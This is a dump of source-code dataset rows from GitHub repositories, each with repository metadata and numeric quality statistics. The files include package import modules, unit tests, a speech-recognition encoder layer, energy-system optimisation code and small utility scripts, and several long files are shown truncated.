es = Elasticsearch(["172.31.24.246:9200"], timeout = 120, max_retries = 5, retry_on_timeout = True... | 73.157025 | 361 | 0.432332 | 719 | 8,852 | 4.988873 | 0.154381 | 0.050181 | 0.03903 | 0.031781 | 0.860329 | 0.830499 | 0.781991 | 0.724003 | 0.65821 | 0.648732 | 0 | 0.009443 | 0.40183 | 8,852 | 120 | 362 | 73.766667 | 0.667989 | 0.188771 | 0 | 0.682353 | 0 | 0 | 0.312421 | 0.086489 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.023529 | null | null | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
53b7c54c0e276011b3d2b4b0ea42bc00d237edc6 | 76 | py | Python | addons14/account_payment_mode/models/__init__.py | odoochain/addons_oca | 55d456d798aebe16e49b4a6070765f206a8885ca | [
"MIT"
] | 1 | 2021-06-10T14:59:13.000Z | 2021-06-10T14:59:13.000Z | addons14/account_payment_mode/models/__init__.py | odoochain/addons_oca | 55d456d798aebe16e49b4a6070765f206a8885ca | [
"MIT"
] | null | null | null | addons14/account_payment_mode/models/__init__.py | odoochain/addons_oca | 55d456d798aebe16e49b4a6070765f206a8885ca | [
"MIT"
] | 1 | 2021-04-09T09:44:44.000Z | 2021-04-09T09:44:44.000Z | from . import account_journal, account_payment_method, account_payment_mode
| 38 | 75 | 0.881579 | 10 | 76 | 6.2 | 0.7 | 0.451613 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078947 | 76 | 1 | 76 | 76 | 0.885714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
53bbc665b3ab480a0e5d490610a11d392c2fa5db | 237,146 | py | Python | nfelib/v4_00/retEnvEventoCancNFe.py | akretion/nfelib | ba0ab410ebaeda3e752e4e6e34dfdc8edfaf7b69 | [
"MIT"
] | 62 | 2017-10-10T14:52:26.000Z | 2022-03-09T17:44:07.000Z | nfelib/v4_00/retEnvEventoCancNFe.py | akretion/nfelib | ba0ab410ebaeda3e752e4e6e34dfdc8edfaf7b69 | [
"MIT"
] | 33 | 2017-09-22T22:22:14.000Z | 2022-03-24T00:15:14.000Z | nfelib/v4_00/retEnvEventoCancNFe.py | akretion/nfelib | ba0ab410ebaeda3e752e4e6e34dfdc8edfaf7b69 | [
"MIT"
] | 35 | 2018-05-08T18:54:51.000Z | 2022-03-22T11:48:21.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Generated by generateDS.py version 2.38.6.
# Python 3.8.5 (default, Jul 28 2020, 12:59:40) [GCC 9.3.0]
#
# Command line options:
# ('--no-namespace-defs', '')
# ('--no-dates', '')
# ('--member-specs', 'list')
# ('--use-getter-setter', 'none')
# ('-f', '')
#... | 47.744312 | 302 | 0.599588 | 25,753 | 237,146 | 5.224129 | 0.056071 | 0.025859 | 0.021808 | 0.015252 | 0.80059 | 0.752596 | 0.724366 | 0.704587 | 0.688606 | 0.673213 | 0 | 0.026272 | 0.290391 | 237,146 | 4,966 | 303 | 47.753927 | 0.773207 | 0.041042 | 0 | 0.646502 | 1 | 0.0011 | 0.111113 | 0.024374 | 0 | 0 | 0 | 0 | 0 | 1 | 0.072371 | false | 0.00418 | 0.016278 | 0.006819 | 0.278047 | 0.043335 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
53d3ee4d46cd7e720e96f8746199cc4aeb71eb44 | 4,043 | py | Python | kubernetes/client/api/__init__.py | sthagen/kubernetes-client-python | 3a183048d7d568ba5ea418bcfb8f61713908d3ea | [
"Apache-2.0"
] | null | null | null | kubernetes/client/api/__init__.py | sthagen/kubernetes-client-python | 3a183048d7d568ba5ea418bcfb8f61713908d3ea | [
"Apache-2.0"
] | 3 | 2021-11-30T03:11:13.000Z | 2022-02-09T03:39:41.000Z | kubernetes/client/api/__init__.py | sthagen/kubernetes-client-python | 3a183048d7d568ba5ea418bcfb8f61713908d3ea | [
"Apache-2.0"
] | null | null | null | from __future__ import absolute_import
# flake8: noqa
# import apis into api package
from kubernetes.client.api.well_known_api import WellKnownApi
from kubernetes.client.api.admissionregistration_api import AdmissionregistrationApi
from kubernetes.client.api.admissionregistration_v1_api import AdmissionregistrationV1... | 63.171875 | 98 | 0.895127 | 516 | 4,043 | 6.813953 | 0.205426 | 0.230944 | 0.32992 | 0.379408 | 0.496587 | 0.082196 | 0 | 0 | 0 | 0 | 0 | 0.022392 | 0.061093 | 4,043 | 63 | 99 | 64.174603 | 0.903846 | 0.010141 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
53f10bc97f2e3126e366cc1dcecd1ce4e1653f6c | 8,281 | py | Python | suii_task_manager/test/unit/task_manager_test.py | RoboHubEindhoven/suii_control | 312114ca878d8659e04a1ae8f1cfe7454dd9d060 | [
"BSD-3-Clause"
] | null | null | null | suii_task_manager/test/unit/task_manager_test.py | RoboHubEindhoven/suii_control | 312114ca878d8659e04a1ae8f1cfe7454dd9d060 | [
"BSD-3-Clause"
] | null | null | null | suii_task_manager/test/unit/task_manager_test.py | RoboHubEindhoven/suii_control | 312114ca878d8659e04a1ae8f1cfe7454dd9d060 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
'''task_list_test.py:
'''
__author__ = "Zinkeng Thierry"
# To import suii_task_manager
import sys, os
sys.path.append(os.path.abspath(os.path.join('../..', 'src/')))
import unittest
import rospy
from suii_task_manager.task_protocol import TaskProtocol
from suii_task_manager.task import... | 39.246445 | 97 | 0.655839 | 1,087 | 8,281 | 4.768169 | 0.095676 | 0.124445 | 0.13197 | 0.025082 | 0.850666 | 0.792977 | 0.777349 | 0.77349 | 0.753618 | 0.742813 | 0 | 0.018323 | 0.235479 | 8,281 | 211 | 98 | 39.246446 | 0.800348 | 0.038522 | 0 | 0.623377 | 0 | 0 | 0.038253 | 0 | 0 | 0 | 0 | 0.004739 | 0.292208 | 1 | 0.064935 | false | 0 | 0.058442 | 0 | 0.12987 | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
54eacb084f9c78360b0b4244fa07596e97d63874 | 137 | py | Python | venv/lib/python3.7/site-packages/environ/tests/__init__.py | coreymyster/modern-django | 631bc85aa71c78f85d5924489f4db8e897902adb | [
"MIT"
] | null | null | null | venv/lib/python3.7/site-packages/environ/tests/__init__.py | coreymyster/modern-django | 631bc85aa71c78f85d5924489f4db8e897902adb | [
"MIT"
] | null | null | null | venv/lib/python3.7/site-packages/environ/tests/__init__.py | coreymyster/modern-django | 631bc85aa71c78f85d5924489f4db8e897902adb | [
"MIT"
] | null | null | null | import os
TESTS_DATA_PATH = os.path.dirname(__file__)
def get_test_data_filepath(file):
return os.path.join(TESTS_DATA_PATH, file) | 19.571429 | 46 | 0.788321 | 23 | 137 | 4.217391 | 0.565217 | 0.185567 | 0.268041 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116788 | 137 | 7 | 46 | 19.571429 | 0.801653 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.25 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
54f803b96fc40ddab8a95b5f237d79925d265ecc | 28 | py | Python | shell.py | Batur24/share-parking | 05454072854f28e0e0aa4cfa93724065f10c29f5 | [
"MIT"
] | null | null | null | shell.py | Batur24/share-parking | 05454072854f28e0e0aa4cfa93724065f10c29f5 | [
"MIT"
] | null | null | null | shell.py | Batur24/share-parking | 05454072854f28e0e0aa4cfa93724065f10c29f5 | [
"MIT"
] | 1 | 2018-05-07T08:39:54.000Z | 2018-05-07T08:39:54.000Z | from Main.models import User | 28 | 28 | 0.857143 | 5 | 28 | 4.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107143 | 28 | 1 | 28 | 28 | 0.96 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
072ac8ffb0d7950a5630ba82afd45587febaa96a | 68,477 | py | Python | tests/unit/gapic/dataproc_v1/test_cluster_controller.py | stephaniewang526/python-dataproc | 66c7af157ca5f740ebfec95abb7267e361d855f6 | [
"Apache-2.0"
] | null | null | null | tests/unit/gapic/dataproc_v1/test_cluster_controller.py | stephaniewang526/python-dataproc | 66c7af157ca5f740ebfec95abb7267e361d855f6 | [
"Apache-2.0"
] | null | null | null | tests/unit/gapic/dataproc_v1/test_cluster_controller.py | stephaniewang526/python-dataproc | 66c7af157ca5f740ebfec95abb7267e361d855f6 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | 37.175353 | 123 | 0.690465 | 7,766 | 68,477 | 5.845867 | 0.045712 | 0.02478 | 0.015749 | 0.020617 | 0.89676 | 0.875085 | 0.848983 | 0.828763 | 0.821428 | 0.803388 | 0 | 0.003688 | 0.227901 | 68,477 | 1,841 | 124 | 37.195546 | 0.854987 | 0.193612 | 0 | 0.675304 | 0 | 0 | 0.101839 | 0.027979 | 0 | 0 | 0 | 0 | 0.126316 | 1 | 0.043725 | false | 0 | 0.025101 | 0.001619 | 0.070445 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4adeee235103eaf0ac0774c5dc96c7244a524e03 | 94 | py | Python | yt/geometry/api.py | aemerick/yt | 984484616d75c6d7603e71b9d45c5d617705a0e5 | [
"BSD-3-Clause-Clear"
] | null | null | null | yt/geometry/api.py | aemerick/yt | 984484616d75c6d7603e71b9d45c5d617705a0e5 | [
"BSD-3-Clause-Clear"
] | null | null | null | yt/geometry/api.py | aemerick/yt | 984484616d75c6d7603e71b9d45c5d617705a0e5 | [
"BSD-3-Clause-Clear"
] | null | null | null | from .geometry_handler import \
Index
from .grid_geometry_handler import \
GridIndex
| 15.666667 | 36 | 0.755319 | 11 | 94 | 6.181818 | 0.636364 | 0.441176 | 0.617647 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.202128 | 94 | 5 | 37 | 18.8 | 0.906667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
ab3b66848d55b8cd98b0d1b6de008ef8f0378b4c | 38 | py | Python | statsmodels/tsa/kalmanf/__init__.py | toobaz/statsmodels | 5286dd713a809b0630232508bf9ad5104aae1980 | [
"BSD-3-Clause"
] | 10 | 2016-05-18T11:46:33.000Z | 2018-12-23T04:52:27.000Z | statsmodels/tsa/kalmanf/__init__.py | AnaMP/statsmodels | 2d4aad9a14619ce0c84d4c7bca9dacd66b2be566 | [
"BSD-3-Clause"
] | 1 | 2021-09-11T14:30:32.000Z | 2021-09-11T14:30:32.000Z | statsmodels/tsa/kalmanf/__init__.py | AnaMP/statsmodels | 2d4aad9a14619ce0c84d4c7bca9dacd66b2be566 | [
"BSD-3-Clause"
] | 3 | 2015-04-01T08:26:54.000Z | 2020-02-14T14:34:10.000Z | from kalmanfilter import KalmanFilter
| 19 | 37 | 0.894737 | 4 | 38 | 8.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 38 | 1 | 38 | 38 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ab4139212e39f5508a19012cac6a80c13784f677 | 9,836 | py | Python | wenet/transformer/encoder_layer.py | Honghe/wenet | 4421790bec3778df591816d69f0449930a9be321 | [
"Apache-2.0"
] | 1 | 2021-08-31T05:47:33.000Z | 2021-08-31T05:47:33.000Z | wenet/transformer/encoder_layer.py | Honghe/wenet | 4421790bec3778df591816d69f0449930a9be321 | [
"Apache-2.0"
] | null | null | null | wenet/transformer/encoder_layer.py | Honghe/wenet | 4421790bec3778df591816d69f0449930a9be321 | [
"Apache-2.0"
] | 1 | 2021-08-19T02:35:02.000Z | 2021-08-19T02:35:02.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2019 Mobvoi Inc. All Rights Reserved.
# Author: di.wu@mobvoi.com (DI WU)
"""Encoder self-attention layer definition."""
from typing import Optional, Tuple
import torch
from torch import nn
class TransformerEncoderLayer(nn.Module):
"""Encoder layer modu... | 37.39924 | 79 | 0.583672 | 1,233 | 9,836 | 4.51176 | 0.12571 | 0.063275 | 0.047816 | 0.043142 | 0.808377 | 0.773144 | 0.765055 | 0.727845 | 0.67877 | 0.656121 | 0 | 0.009684 | 0.317609 | 9,836 | 262 | 80 | 37.541985 | 0.81913 | 0.347499 | 0 | 0.710526 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.039474 | 1 | 0.026316 | false | 0 | 0.019737 | 0 | 0.072368 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
ab5a53983001d8549d89b626b10e601a88a06dc0 | 39 | py | Python | core/__init__.py | TheOpenFutur/jomaul | 22f76cc92b663aae62af441820bd4310718e6b48 | [
"MIT"
] | 1 | 2022-03-14T21:23:33.000Z | 2022-03-14T21:23:33.000Z | core/__init__.py | TheOpenFutur/jomaul | 22f76cc92b663aae62af441820bd4310718e6b48 | [
"MIT"
] | 1 | 2022-03-04T16:58:30.000Z | 2022-03-04T16:58:30.000Z | core/__init__.py | TheOpenFutur/jomaul | 22f76cc92b663aae62af441820bd4310718e6b48 | [
"MIT"
] | null | null | null | from jomaul.core.JomaulServer import *
| 19.5 | 38 | 0.820513 | 5 | 39 | 6.4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102564 | 39 | 1 | 39 | 39 | 0.914286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
db40d0693aea28cdf6d4f5daef5411ed5ea3d494 | 35,207 | py | Python | cea/optimization/slave/electricity_main.py | pajotca/CityEnergyAnalyst | f3d0a08f7b5f5967961bf831625544a95c7702f0 | [
"MIT"
] | null | null | null | cea/optimization/slave/electricity_main.py | pajotca/CityEnergyAnalyst | f3d0a08f7b5f5967961bf831625544a95c7702f0 | [
"MIT"
] | null | null | null | cea/optimization/slave/electricity_main.py | pajotca/CityEnergyAnalyst | f3d0a08f7b5f5967961bf831625544a95c7702f0 | [
"MIT"
] | null | null | null | """
Electricity imports and exports script
This file takes in the values of the electricity activation pattern (which is only considering buildings present in
network and corresponding district energy systems) and adds in the electricity requirement of decentralized buildings
and recalculates the imports from grid and... | 61.443281 | 175 | 0.640782 | 5,123 | 35,207 | 3.791528 | 0.042553 | 0.026462 | 0.022858 | 0.069193 | 0.880045 | 0.828923 | 0.80035 | 0.766886 | 0.749382 | 0.708093 | 0 | 0.019466 | 0.29088 | 35,207 | 573 | 176 | 61.443281 | 0.758552 | 0.028233 | 0 | 0.617834 | 0 | 0 | 0.109103 | 0.055736 | 0 | 0 | 0 | 0 | 0 | 1 | 0.004246 | false | 0 | 0.016985 | 0 | 0.023355 | 0.004246 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
db6b3ecfd3d231b4ca7ca572c1d1a5c5cb4e32fa | 125 | py | Python | sidechainnet/structure/__init__.py | THGLab/sidechainnet | e6f4f6a30ad4e202db3afb28e4d958937cb57135 | [
"BSD-3-Clause"
] | 167 | 2020-10-20T16:40:07.000Z | 2022-03-26T04:50:29.000Z | sidechainnet/structure/__init__.py | THGLab/sidechainnet | e6f4f6a30ad4e202db3afb28e4d958937cb57135 | [
"BSD-3-Clause"
] | 24 | 2020-05-04T00:56:29.000Z | 2022-03-03T11:22:23.000Z | sidechainnet/structure/__init__.py | THGLab/sidechainnet | e6f4f6a30ad4e202db3afb28e4d958937cb57135 | [
"BSD-3-Clause"
] | 22 | 2020-11-15T07:15:28.000Z | 2022-02-09T16:25:41.000Z | from .StructureBuilder import StructureBuilder, ResidueBuilder
from .structure import inverse_trig_transform, trig_transform
| 41.666667 | 62 | 0.888 | 13 | 125 | 8.307692 | 0.615385 | 0.240741 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08 | 125 | 2 | 63 | 62.5 | 0.93913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
dba512ffd673017102d1e0603ff257c926ef8299 | 177 | py | Python | src/abaqus/StepMiscellaneous/SteadyStateDirectFrequencyArray.py | Haiiliin/PyAbaqus | f20db6ebea19b73059fe875a53be370253381078 | [
"MIT"
] | 7 | 2022-01-21T09:15:45.000Z | 2022-02-15T09:31:58.000Z | src/abaqus/StepMiscellaneous/SteadyStateDirectFrequencyArray.py | Haiiliin/PyAbaqus | f20db6ebea19b73059fe875a53be370253381078 | [
"MIT"
] | null | null | null | src/abaqus/StepMiscellaneous/SteadyStateDirectFrequencyArray.py | Haiiliin/PyAbaqus | f20db6ebea19b73059fe875a53be370253381078 | [
"MIT"
] | null | null | null | from .SteadyStateDirectFrequency import SteadyStateDirectFrequency
class SteadyStateDirectFrequencyArray(list[SteadyStateDirectFrequency]):
def findAt(self):
pass
| 25.285714 | 72 | 0.819209 | 12 | 177 | 12.083333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129944 | 177 | 6 | 73 | 29.5 | 0.941558 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.25 | 0.25 | 0 | 0.75 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
916fae0d80b03779a9d512e8220c4689d1ec043f | 41 | py | Python | analyzer/__init__.py | symeonp/choronzon | a9eed1ea2cab6bf2c3e020adf4951f6d01eecf72 | [
"BSD-3-Clause"
] | null | null | null | analyzer/__init__.py | symeonp/choronzon | a9eed1ea2cab6bf2c3e020adf4951f6d01eecf72 | [
"BSD-3-Clause"
] | null | null | null | analyzer/__init__.py | symeonp/choronzon | a9eed1ea2cab6bf2c3e020adf4951f6d01eecf72 | [
"BSD-3-Clause"
] | 1 | 2020-02-29T13:55:25.000Z | 2020-02-29T13:55:25.000Z | #!/usr/bin/env python
from pin import *
| 10.25 | 21 | 0.682927 | 7 | 41 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.170732 | 41 | 3 | 22 | 13.666667 | 0.823529 | 0.487805 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
918a0ab2cc723d59d04f272f574ac824fea9e938 | 1,181 | py | Python | dis_snek/models/__init__.py | KAJdev/Dis-Snek | f2bbdd2b8ae2b4ccd7351d0ed01e1c77573669c2 | [
"MIT"
] | null | null | null | dis_snek/models/__init__.py | KAJdev/Dis-Snek | f2bbdd2b8ae2b4ccd7351d0ed01e1c77573669c2 | [
"MIT"
] | null | null | null | dis_snek/models/__init__.py | KAJdev/Dis-Snek | f2bbdd2b8ae2b4ccd7351d0ed01e1c77573669c2 | [
"MIT"
] | null | null | null | # this could be done programmatically, but it's better practice to manually handle the imports
from .application_commands import *
from .checks import *
from .color import *
from .command import *
from .context import *
from .cooldowns import *
from .discord import *
from .file import *
from .listener import *
from .r... | 31.078947 | 94 | 0.795936 | 156 | 1,181 | 5.897436 | 0.352564 | 0.336957 | 0.332609 | 0.443478 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129551 | 1,181 | 37 | 95 | 31.918919 | 0.894942 | 0.0779 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
91c06ec5974668a023450499b73228042eeed554 | 190 | py | Python | trading_sim/event/event_ok.py | kyhorne/trading_sim | 6c2f17b7be0bfba6338ebe48ea69d2aed7e65c77 | [
"MIT"
] | 28 | 2019-03-20T16:13:10.000Z | 2022-03-12T01:30:25.000Z | trading_sim/event/event_ok.py | kyhorne/trading_sim | 6c2f17b7be0bfba6338ebe48ea69d2aed7e65c77 | [
"MIT"
] | 8 | 2019-03-17T01:22:42.000Z | 2020-09-04T15:22:37.000Z | trading_sim/event/event_ok.py | kyhorne/trading_sim | 6c2f17b7be0bfba6338ebe48ea69d2aed7e65c77 | [
"MIT"
] | 9 | 2019-03-20T22:00:46.000Z | 2020-07-02T01:30:58.000Z | import json
from .event_type import EventType
class EventOk:
@staticmethod
def instantiate():
return json.dumps({"eventType": EventType.OK.value, "payload": {}}).encode()
| 19 | 84 | 0.684211 | 21 | 190 | 6.142857 | 0.809524 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.184211 | 190 | 9 | 85 | 21.111111 | 0.832258 | 0 | 0 | 0 | 0 | 0 | 0.084211 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | true | 0 | 0.333333 | 0.166667 | 0.833333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
91e26832bdd84393b2e7214a5465791f53d5b8e3 | 6,152 | py | Python | tests/test_schema_tools.py | hubmapconsortium/commons | a6a441f9daa93dab7b75bf71d7ed25841e0a9442 | [
"MIT"
] | 1 | 2020-09-02T18:27:33.000Z | 2020-09-02T18:27:33.000Z | tests/test_schema_tools.py | hubmapconsortium/commons | a6a441f9daa93dab7b75bf71d7ed25841e0a9442 | [
"MIT"
] | 21 | 2019-10-22T18:07:45.000Z | 2022-03-23T15:24:08.000Z | tests/test_schema_tools.py | hubmapconsortium/commons | a6a441f9daa93dab7b75bf71d7ed25841e0a9442 | [
"MIT"
] | null | null | null | import unittest
from pathlib import Path
from hubmap_commons import schema_tools
from jsonschema import exceptions as jsonschema_exceptions
class SchemaToolsTestCase(unittest.TestCase):
def setUp(self):
self.sample_json = {
'files': [
{'rel_path': './trig_rnaseq_10x.py', 'type... | 53.495652 | 107 | 0.573147 | 535 | 6,152 | 6.254206 | 0.194393 | 0.049313 | 0.060968 | 0.059773 | 0.825463 | 0.796772 | 0.763897 | 0.763897 | 0.759713 | 0.759713 | 0 | 0.080482 | 0.325423 | 6,152 | 114 | 108 | 53.964912 | 0.725783 | 0 | 0 | 0.653061 | 0 | 0 | 0.252926 | 0.135241 | 0 | 0 | 0 | 0 | 0.173469 | 1 | 0.061224 | false | 0.020408 | 0.05102 | 0 | 0.122449 | 0.040816 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
91e5680ee99a2eb3fae7da875ffc178848006663 | 94 | py | Python | protobuf/pydemo.py | yangsongx/refrence | 58376b97d0d1364b6a92dad89f5125a0d6e009e0 | [
"Apache-2.0"
] | null | null | null | protobuf/pydemo.py | yangsongx/refrence | 58376b97d0d1364b6a92dad89f5125a0d6e009e0 | [
"Apache-2.0"
] | null | null | null | protobuf/pydemo.py | yangsongx/refrence | 58376b97d0d1364b6a92dad89f5125a0d6e009e0 | [
"Apache-2.0"
] | 1 | 2019-01-29T06:37:19.000Z | 2019-01-29T06:37:19.000Z | import mymsg_pb2
print 'the demo of use protobuf via Python'
print mymsg_pb2.NameType.EMAIL
